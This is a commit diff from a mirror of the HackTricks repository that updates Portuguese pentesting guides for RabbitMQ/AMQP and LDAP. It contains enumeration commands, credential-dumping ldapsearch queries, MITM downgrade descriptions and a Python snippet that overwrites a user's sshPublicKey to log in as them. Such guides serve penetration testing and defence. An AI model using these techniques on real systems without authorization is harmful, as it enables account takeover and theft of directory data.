mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 23:20:49 +00:00
Translated ['generic-methodologies-and-resources/brute-force.md', 'netwo
This commit is contained in:
parent
bf25c59d3c
commit
ccfcebadae
15 changed files with 1322 additions and 1640 deletions
|
@ -260,7 +260,7 @@
|
|||
* [MSSQL AD Abuse](windows-hardening/active-directory-methodology/abusing-ad-mssql.md)
|
||||
* [Over Pass the Hash/Pass the Key](windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md)
|
||||
* [Pass the Ticket](windows-hardening/active-directory-methodology/pass-the-ticket.md)
|
||||
* [Password Spraying](windows-hardening/active-directory-methodology/password-spraying.md)
|
||||
* [Password Spraying / Brute Force](windows-hardening/active-directory-methodology/password-spraying.md)
|
||||
* [PrintNightmare](windows-hardening/active-directory-methodology/printnightmare.md)
|
||||
* [Force NTLM Privileged Authentication](windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md)
|
||||
* [Privileged Groups](windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md)
|
||||
|
|
File diff suppressed because it is too large
Load diff
|
@ -1,33 +1,47 @@
|
|||
# Informações Básicas
|
||||
# 5671,5672 - Pentesting AMQP
|
||||
|
||||
O **RabbitMQ** é um software de **fila de mensagens** também conhecido como _message broker_ ou _queue manager_. Simplificando, é um software onde filas são definidas, às quais as aplicações se conectam para transferir uma ou mais mensagens.\
|
||||
Uma **mensagem pode incluir qualquer tipo de informação**. Pode, por exemplo, ter informações sobre um processo ou tarefa que deve ser iniciada em outra aplicação (que pode até estar em outro servidor), ou pode ser apenas uma mensagem de texto simples. O software do gerenciador de filas armazena as mensagens até que uma aplicação receptora se conecte e retire uma mensagem da fila. A aplicação receptora, então, processa a mensagem.\
|
||||
Definição retirada [aqui](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html).
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Trabalha numa **empresa de cibersegurança**? Quer ver a sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Adquira o [**material oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
**RabbitMQ** é um **software de filas de mensagens** também conhecido como _message broker_ ou _queue manager_. Simplificando; é um software onde filas são definidas, às quais as aplicações se conectam para transferir uma mensagem ou mensagens.\
|
||||
Uma **mensagem pode incluir qualquer tipo de informação**. Pode, por exemplo, conter informações sobre um processo ou tarefa que deve iniciar em outra aplicação (que pode até estar em outro servidor), ou pode ser apenas uma simples mensagem de texto. O software do gerenciador de filas armazena as mensagens até que uma aplicação receptora se conecte e retire uma mensagem da fila. A aplicação receptora então processa a mensagem.\
|
||||
Definição de [aqui](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html).
|
||||
|
||||
**Porta padrão**: 5672,5671
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
5672/tcp open amqp RabbitMQ 3.1.5 (0-9)
|
||||
```
|
||||
# Enumeração
|
||||
## Enumeração
|
||||
|
||||
## Manual
|
||||
### Manual
|
||||
```python
|
||||
import amqp
|
||||
#By default it uses default credentials "guest":"guest"
|
||||
conn = amqp.connection.Connection(host="<IP>", port=5672, virtual_host="/")
|
||||
conn.connect()
|
||||
for k, v in conn.server_properties.items():
|
||||
print(k, v)
|
||||
print(k, v)
|
||||
```
|
||||
## Automático
|
||||
### Automático
|
||||
```bash
|
||||
nmap -sV -Pn -n -T4 -p 5672 --script amqp-info <IP>
|
||||
|
||||
PORT STATE SERVICE VERSION
|
||||
5672/tcp open amqp RabbitMQ 3.1.5 (0-9)
|
||||
| amqp-info:
|
||||
| capabilities:
|
||||
| amqp-info:
|
||||
| capabilities:
|
||||
| publisher_confirms: YES
|
||||
| exchange_exchange_bindings: YES
|
||||
| basic.nack: YES
|
||||
|
@ -40,21 +54,38 @@ PORT STATE SERVICE VERSION
|
|||
| mechanisms: PLAIN AMQPLAIN
|
||||
|_ locales: en_US
|
||||
```
|
||||
# Outras portas do RabbitMQ
|
||||
### Força Bruta
|
||||
|
||||
A partir de [https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networking.html), você pode descobrir que **o rabbitmq usa várias portas**:
|
||||
* [**Força Bruta no Protocolo AMQP**](../generic-methodologies-and-resources/brute-force.md#amqp-activemq-rabbitmq-qpid-joram-and-solace)
|
||||
* [**Força Bruta no Protocolo STOMP**](../generic-methodologies-and-resources/brute-force.md#stomp-activemq-rabbitmq-hornetq-and-openmq)
|
||||
|
||||
* **1883, 8883**: ([clientes MQTT](http://mqtt.org) sem e com TLS, se o [plugin MQTT](https://www.rabbitmq.com/mqtt.html) estiver habilitado. [**Saiba mais sobre como testar a penetração do MQTT aqui**](1883-pentesting-mqtt-mosquitto.md).
|
||||
* **4369: epmd**, um serviço de descoberta de pares usado por nós RabbitMQ e ferramentas CLI. [**Saiba mais sobre como testar a penetração deste serviço aqui**](4369-pentesting-erlang-port-mapper-daemon-epmd.md).
|
||||
* **5672, 5671**: usado por clientes AMQP 0-9-1 e 1.0 sem e com TLS
|
||||
* **15672**: clientes [API HTTP](https://www.rabbitmq.com/management.html), [interface de gerenciamento](https://www.rabbitmq.com/management.html) e [rabbitmqadmin](https://www.rabbitmq.com/management-cli.html) (somente se o [plugin de gerenciamento](https://www.rabbitmq.com/management.html) estiver habilitado). [**Saiba mais sobre como testar a penetração deste serviço aqui**](15672-pentesting-rabbitmq-management.md).
|
||||
## Outras portas do RabbitMQ
|
||||
|
||||
A partir de [https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networking.html) você pode encontrar que **o rabbitmq usa várias portas**:
|
||||
|
||||
* **1883, 8883**: (clientes [MQTT](http://mqtt.org) sem e com TLS, se o [plugin MQTT](https://www.rabbitmq.com/mqtt.html) estiver habilitado. [**Saiba mais sobre como fazer pentest em MQTT aqui**](1883-pentesting-mqtt-mosquitto.md).
|
||||
* **4369: epmd**, um serviço de descoberta de pares usado pelos nós do RabbitMQ e ferramentas CLI. [**Saiba mais sobre como fazer pentest neste serviço aqui**](4369-pentesting-erlang-port-mapper-daemon-epmd.md).
|
||||
* **5672, 5671**: usados por clientes AMQP 0-9-1 e 1.0 sem e com TLS
|
||||
* **15672**: clientes da [API HTTP](https://www.rabbitmq.com/management.html), [interface de gerenciamento](https://www.rabbitmq.com/management.html) e [rabbitmqadmin](https://www.rabbitmq.com/management-cli.html) (somente se o [plugin de gerenciamento](https://www.rabbitmq.com/management.html) estiver habilitado). [**Saiba mais sobre como fazer pentest neste serviço aqui**](15672-pentesting-rabbitmq-management.md).
|
||||
* 15674: clientes STOMP-over-WebSockets (somente se o [plugin Web STOMP](https://www.rabbitmq.com/web-stomp.html) estiver habilitado)
|
||||
* 15675: clientes MQTT-over-WebSockets (somente se o [plugin Web MQTT](https://www.rabbitmq.com/web-mqtt.html) estiver habilitado)
|
||||
* 15692: métricas do Prometheus (somente se o [plugin Prometheus](https://www.rabbitmq.com/prometheus.html) estiver habilitado)
|
||||
* 25672: usado para comunicação entre nós e ferramentas CLI (porta do servidor de distribuição Erlang) e é alocado a partir de uma faixa dinâmica (limitada a uma única porta por padrão, calculada como porta AMQP + 20000). A menos que as conexões externas nessas portas sejam realmente necessárias (por exemplo, o cluster usa [federação](https://www.rabbitmq.com/federation.html) ou ferramentas CLI são usadas em máquinas fora da sub-rede), essas portas não devem ser expostas publicamente. Consulte o [guia de rede](https://www.rabbitmq.com/networking.html) para obter detalhes. **Apenas 9 dessas portas estão abertas na internet**.
|
||||
* 35672-35682: usado por ferramentas CLI (portas do cliente de distribuição Erlang) para comunicação com nós e é alocado a partir de uma faixa dinâmica (calculada como porta de distribuição do servidor + 10000 a porta de distribuição do servidor + 10010). Consulte o [guia de rede](https://www.rabbitmq.com/networking.html) para obter detalhes.
|
||||
* 61613, 61614: [clientes STOMP](https://stomp.github.io/stomp-specification-1.2.html) sem e com TLS (somente se o [plugin STOMP](https://www.rabbitmq.com/stomp.html) estiver habilitado). Menos de 10 dispositivos com essa porta aberta e principalmente UDP para nós DHT.
|
||||
* 25672: usado para comunicação inter-nós e ferramentas CLI (porta do servidor de distribuição Erlang) e é alocado de uma faixa dinâmica (limitado a uma única porta por padrão, calculado como porta AMQP + 20000). A menos que conexões externas nessas portas sejam realmente necessárias (por exemplo, o cluster usa [federação](https://www.rabbitmq.com/federation.html) ou ferramentas CLI são usadas em máquinas fora da sub-rede), essas portas não devem ser expostas publicamente. Veja o [guia de rede](https://www.rabbitmq.com/networking.html) para detalhes. **Apenas 9 dessas portas abertas na internet**.
|
||||
* 35672-35682: usadas por ferramentas CLI (portas do cliente de distribuição Erlang) para comunicação com nós e é alocado de uma faixa dinâmica (calculado como porta de distribuição do servidor + 10000 até porta de distribuição do servidor + 10010). Veja o [guia de rede](https://www.rabbitmq.com/networking.html) para detalhes.
|
||||
* 61613, 61614: clientes [STOMP](https://stomp.github.io/stomp-specification-1.2.html) sem e com TLS (somente se o [plugin STOMP](https://www.rabbitmq.com/stomp.html) estiver habilitado). Menos de 10 dispositivos com esta porta aberta e principalmente UDP para nós DHT.
|
||||
|
||||
# Shodan
|
||||
## Shodan
|
||||
|
||||
* `AMQP`
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,20 +1,34 @@
|
|||
# 389, 636, 3268, 3269 - Pentesting LDAP
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Trabalha numa **empresa de cibersegurança**? Quer ver a sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Adquira o [**material oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
Extraído de: [https://searchmobilecomputing.techtarget.com/definition/LDAP](https://searchmobilecomputing.techtarget.com/definition/LDAP)
|
||||
|
||||
LDAP (Lightweight Directory Access Protocol) é um protocolo de software para permitir que qualquer pessoa **localize** organizações, indivíduos e outros **recursos** como arquivos e dispositivos em uma rede, seja na Internet pública ou em uma intranet corporativa. O LDAP é uma versão "leve" (menor quantidade de código) do Protocolo de Acesso a Diretório (DAP).
|
||||
LDAP (Lightweight Directory Access Protocol) é um protocolo de software para permitir que qualquer pessoa **localize** organizações, indivíduos e outros **recursos** como arquivos e dispositivos em uma rede, seja na Internet pública ou em uma intranet corporativa. LDAP é uma versão "leve" (menor quantidade de código) do Directory Access Protocol (DAP).
|
||||
|
||||
Um diretório LDAP pode ser **distribuído** entre muitos servidores. Cada servidor pode ter uma versão **replicada** do diretório total que é **sincronizada** periodicamente. Um servidor LDAP é chamado de Agente do Sistema de Diretório (DSA). Um servidor LDAP que recebe uma solicitação de um usuário assume a responsabilidade pela solicitação, passando-a para outros DSAs conforme necessário, mas garantindo uma única resposta coordenada para o usuário.
|
||||
Um diretório LDAP pode ser **distribuído** entre vários servidores. Cada servidor pode ter uma versão **replicada** do diretório total que é **sincronizada** periodicamente. Um servidor LDAP é chamado de Directory System Agent (DSA). Um servidor LDAP que recebe uma solicitação de um usuário assume a responsabilidade pela solicitação, passando-a para outros DSAs conforme necessário, mas garantindo uma única resposta coordenada para o usuário.
|
||||
|
||||
Um diretório LDAP é organizado em uma hierarquia simples de "árvore" consistindo nos seguintes níveis:
|
||||
Um diretório LDAP é organizado em uma hierarquia simples de "árvore" consistindo dos seguintes níveis:
|
||||
|
||||
* O diretório raiz (o local de partida ou a fonte da árvore), que se ramifica para
|
||||
* O diretório raiz (o ponto de partida ou a fonte da árvore), que se ramifica para
|
||||
* Países, cada um dos quais se ramifica para
|
||||
* Organizações, que se ramificam para
|
||||
* Unidades organizacionais (divisões, departamentos e assim por diante), que se ramificam para (inclui uma entrada para)
|
||||
* Indivíduos (que incluem pessoas, arquivos e recursos compartilhados como impressoras)
|
||||
* Unidades organizacionais (divisões, departamentos, etc.), que se ramificam para (inclui uma entrada para)
|
||||
* Indivíduos (que inclui pessoas, arquivos e recursos compartilhados como impressoras)
|
||||
|
||||
**Porta padrão:** 389 e 636 (ldaps). O Catálogo Global (LDAP no ActiveDirectory) está disponível por padrão nas portas 3268 e 3269 para LDAPS.
|
||||
**Porta padrão:** 389 e 636(ldaps). Global Catalog (LDAP no ActiveDirectory) está disponível por padrão nas portas 3268 e 3269 para LDAPS.
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
389/tcp open ldap syn-ack
|
||||
|
@ -22,7 +36,7 @@ PORT STATE SERVICE REASON
|
|||
```
|
||||
### Formato de Intercâmbio de Dados LDAP
|
||||
|
||||
O LDIF (Formato de Intercâmbio de Dados LDAP) define o conteúdo do diretório como um conjunto de registros. Ele também pode representar solicitações de atualização (Adicionar, Modificar, Excluir, Renomear).
|
||||
LDIF (LDAP Data Interchange Format) define o conteúdo do diretório como um conjunto de registros. Também pode representar solicitações de atualização (Adicionar, Modificar, Excluir, Renomear).
|
||||
```bash
|
||||
dn: dc=local
|
||||
dc: local
|
||||
|
@ -51,14 +65,14 @@ ou:
|
|||
mail: pepe@hacktricks.xyz
|
||||
phone: 23627387495
|
||||
```
|
||||
* As linhas 1-3 definem o domínio de nível superior local
|
||||
* As linhas 5-8 definem o domínio de primeiro nível moneycorp (moneycorp.local)
|
||||
* As linhas 10-16 definem 2 unidades organizacionais: dev e sales
|
||||
* As linhas 18-26 criam um objeto do domínio e atribuem atributos com valores
|
||||
* Linhas 1-3 definem o domínio de topo local
|
||||
* Linhas 5-8 definem o primeiro nível do domínio moneycorp (moneycorp.local)
|
||||
* Linhas 10-16 definem 2 unidades organizacionais: dev e sales
|
||||
* Linhas 18-26 criam um objeto do domínio e atribuem atributos com valores
|
||||
|
||||
## Escrever dados
|
||||
|
||||
Observe que se você puder modificar valores, poderá realizar ações realmente interessantes. Por exemplo, imagine que você **pode alterar as informações "sshPublicKey"** do seu usuário ou de qualquer usuário. É altamente provável que, se esse atributo existir, **o ssh esteja lendo as chaves públicas do LDAP**. Se você puder modificar a chave pública de um usuário, **poderá fazer login como esse usuário, mesmo que a autenticação por senha não esteja habilitada no ssh**.
|
||||
Note que se você pode modificar valores, você poderia ser capaz de realizar ações realmente interessantes. Por exemplo, imagine que você **pode alterar a informação "sshPublicKey"** do seu usuário ou de qualquer usuário. É altamente provável que, se esse atributo existir, então **o ssh está lendo as chaves públicas do LDAP**. Se você pode modificar a chave pública de um usuário, você **será capaz de fazer login como esse usuário mesmo que a autenticação por senha não esteja habilitada no ssh**.
|
||||
```bash
|
||||
>>> import ldap3
|
||||
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
|
||||
|
@ -69,45 +83,43 @@ True
|
|||
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
|
||||
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
|
||||
```
|
||||
Exemplo retirado de: [https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/](https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/)
|
||||
## Captura de credenciais em texto claro
|
||||
|
||||
## Capturar credenciais em texto claro
|
||||
Se LDAP é utilizado sem SSL, você pode **capturar credenciais em texto claro** na rede.
|
||||
|
||||
Se o LDAP for usado sem SSL, você pode **capturar as credenciais em texto claro** na rede.
|
||||
Além disso, você pode realizar um ataque **MITM** na rede **entre o servidor LDAP e o cliente.** Aqui você pode fazer um **Ataque de Downgrade** para que o cliente use as **credenciais em texto claro** para fazer login.
|
||||
|
||||
Além disso, você pode realizar um ataque **MITM** na rede **entre o servidor LDAP e o cliente**. Aqui, você pode fazer um **Ataque de Downgrade** para que o cliente use as **credenciais em texto claro** para fazer login.
|
||||
**Se SSL é utilizado**, você pode tentar fazer **MITM** como mencionado acima, mas oferecendo um **certificado falso**, se o **usuário aceitá-lo**, você será capaz de rebaixar o método de autenticação e ver as credenciais novamente.
|
||||
|
||||
**Se o SSL for usado**, você pode tentar fazer um **MITM** como o mencionado acima, mas oferecendo um **certificado falso**. Se o **usuário aceitá-lo**, você poderá fazer o Downgrade do método de autenticação e ver as credenciais novamente.
|
||||
## Acesso Anônimo
|
||||
|
||||
## Acesso anônimo
|
||||
### Contornar verificação TLS SNI
|
||||
|
||||
### Bypass na verificação TLS SNI
|
||||
|
||||
De acordo com [**este artigo**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/), apenas acessando o servidor LDAP com um nome de domínio arbitrário (como company.com), ele foi capaz de entrar em contato com o serviço LDAP e extrair informações como um usuário anônimo:
|
||||
De acordo com [**este relatório**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) apenas acessando o servidor LDAP com um nome de domínio arbitrário (como company.com), ele conseguiu contatar o serviço LDAP e extrair informações como um usuário anônimo:
|
||||
```bash
|
||||
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
|
||||
```
|
||||
### Ligações anônimas LDAP
|
||||
### Vinculações LDAP anônimas
|
||||
|
||||
As ligações anônimas LDAP permitem que **atacantes não autenticados** recuperem informações do domínio, como uma lista completa de usuários, grupos, computadores, atributos de conta de usuário e a política de senha do domínio. Esta é uma **configuração legada** e, a partir do Windows Server 2003, apenas usuários autenticados podem iniciar solicitações LDAP. \
|
||||
No entanto, os administradores podem ter precisado **configurar um aplicativo específico para permitir ligações anônimas** e concedido mais acesso do que o pretendido, dando assim a usuários não autenticados acesso a todos os objetos no AD.
|
||||
[Vinculações LDAP anônimas](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) permitem que **atacantes não autenticados** recuperem informações do domínio, como uma listagem completa de usuários, grupos, computadores, atributos de contas de usuário e a política de senha do domínio. Esta é uma **configuração legada**, e a partir do Windows Server 2003, apenas usuários autenticados têm permissão para iniciar solicitações LDAP.\
|
||||
No entanto, administradores podem ter precisado **configurar uma aplicação específica para permitir vinculações anônimas** e concedido mais acesso do que o pretendido, permitindo assim que usuários não autenticados acessem todos os objetos no AD.
|
||||
|
||||
## Credenciais válidas
|
||||
## Credenciais Válidas
|
||||
|
||||
Se você tiver credenciais válidas para fazer login no servidor LDAP, poderá despejar todas as informações sobre o Administrador do Domínio usando:
|
||||
Se você possui credenciais válidas para fazer login no servidor LDAP, você pode extrair todas as informações sobre o Administrador do Domínio usando:
|
||||
|
||||
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
|
||||
```bash
|
||||
pip3 install ldapdomaindump
|
||||
pip3 install ldapdomaindump
|
||||
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
|
||||
```
|
||||
### Força Bruta
|
||||
### [Brute Force](../generic-methodologies-and-resources/brute-force.md#ldap)
|
||||
|
||||
## Enumeração
|
||||
|
||||
### Automatizada
|
||||
|
||||
Usando isso, você será capaz de ver as **informações públicas** (como o nome do domínio):
|
||||
Usando isso, você poderá ver a **informação pública** (como o nome do domínio)**:**
|
||||
```bash
|
||||
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
|
||||
```
|
||||
|
@ -115,7 +127,7 @@ nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Veja a enumeração do LDAP com python</summary>
|
||||
<summary>Veja a enumeração LDAP com python</summary>
|
||||
|
||||
Você pode tentar **enumerar um LDAP com ou sem credenciais usando python**: `pip3 install ldap3`
|
||||
|
||||
|
@ -128,21 +140,23 @@ Primeiro tente **conectar sem** credenciais:
|
|||
True
|
||||
>>> server.info
|
||||
```
|
||||
Se a resposta for `True`, como no exemplo anterior, você pode obter alguns dados **interessantes** do servidor LDAP (como o **contexto de nomeação** ou o **nome do domínio**) a partir de:
|
||||
Se a resposta for `True` como no exemplo anterior, você pode obter alguns **dados interessantes** do servidor LDAP (como o **contexto de nomeação** ou **nome de domínio**) a partir de:
|
||||
```bash
|
||||
>>> server.info
|
||||
DSA info (from DSE):
|
||||
Supported LDAP versions: 3
|
||||
Naming contexts:
|
||||
Naming contexts:
|
||||
dc=DOMAIN,dc=DOMAIN
|
||||
```
|
||||
Depois de obter o contexto de nomeação, você pode fazer algumas consultas mais interessantes. Esta consulta simples deve mostrar todos os objetos no diretório:
|
||||
```markdown
|
||||
Uma vez que você tenha o contexto de nomenclatura, você pode fazer consultas mais interessantes. Esta consulta simples deve mostrar todos os objetos no diretório:
|
||||
```
|
||||
```bash
|
||||
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
|
||||
True
|
||||
>> connection.entries
|
||||
```
|
||||
Ou **despejar** todo o ldap:
|
||||
Ou **extraia** todo o ldap:
|
||||
```bash
|
||||
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
|
||||
True
|
||||
|
@ -152,7 +166,7 @@ True
|
|||
|
||||
### windapsearch
|
||||
|
||||
[**Windapsearch**](https://github.com/ropnop/windapsearch) **** é um script em Python útil para **enumerar usuários, grupos e computadores de um domínio Windows** utilizando consultas LDAP.
|
||||
[**Windapsearch**](https://github.com/ropnop/windapsearch) \*\*\*\* é um script Python útil para **enumerar usuários, grupos e computadores de um domínio Windows** utilizando consultas LDAP.
|
||||
```bash
|
||||
# Get computers
|
||||
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
|
||||
|
@ -167,7 +181,7 @@ python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --p
|
|||
```
|
||||
### ldapsearch
|
||||
|
||||
Verificar credenciais nulas ou se suas credenciais são válidas:
|
||||
Verifique credenciais nulas ou se suas credenciais são válidas:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
|
@ -178,9 +192,9 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_
|
|||
search: 2
|
||||
result: 1 Operations error
|
||||
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
|
||||
tion a successful bind must be completed on the connection., data 0, v3839
|
||||
tion a successful bind must be completed on the connection., data 0, v3839
|
||||
```
|
||||
Se você encontrar algo dizendo que "_bind deve ser concluído_", significa que as credenciais estão incorretas.
|
||||
Se você encontrar algo dizendo que o "_bind must be completed_" significa que as credenciais estão incorretas.
|
||||
|
||||
Você pode extrair **tudo de um domínio** usando:
|
||||
```bash
|
||||
|
@ -196,7 +210,7 @@ Extrair **usuários**:
|
|||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
|
||||
```
|
||||
Extrair **computadores**:
|
||||
Extrair **computers**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
|
@ -204,7 +218,7 @@ Extrair **minhas informações**:
|
|||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
Extrair **Administradores de Domínio**:
|
||||
Extrair **Domain Admins**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
|
@ -212,11 +226,11 @@ Extrair **Usuários do Domínio**:
|
|||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
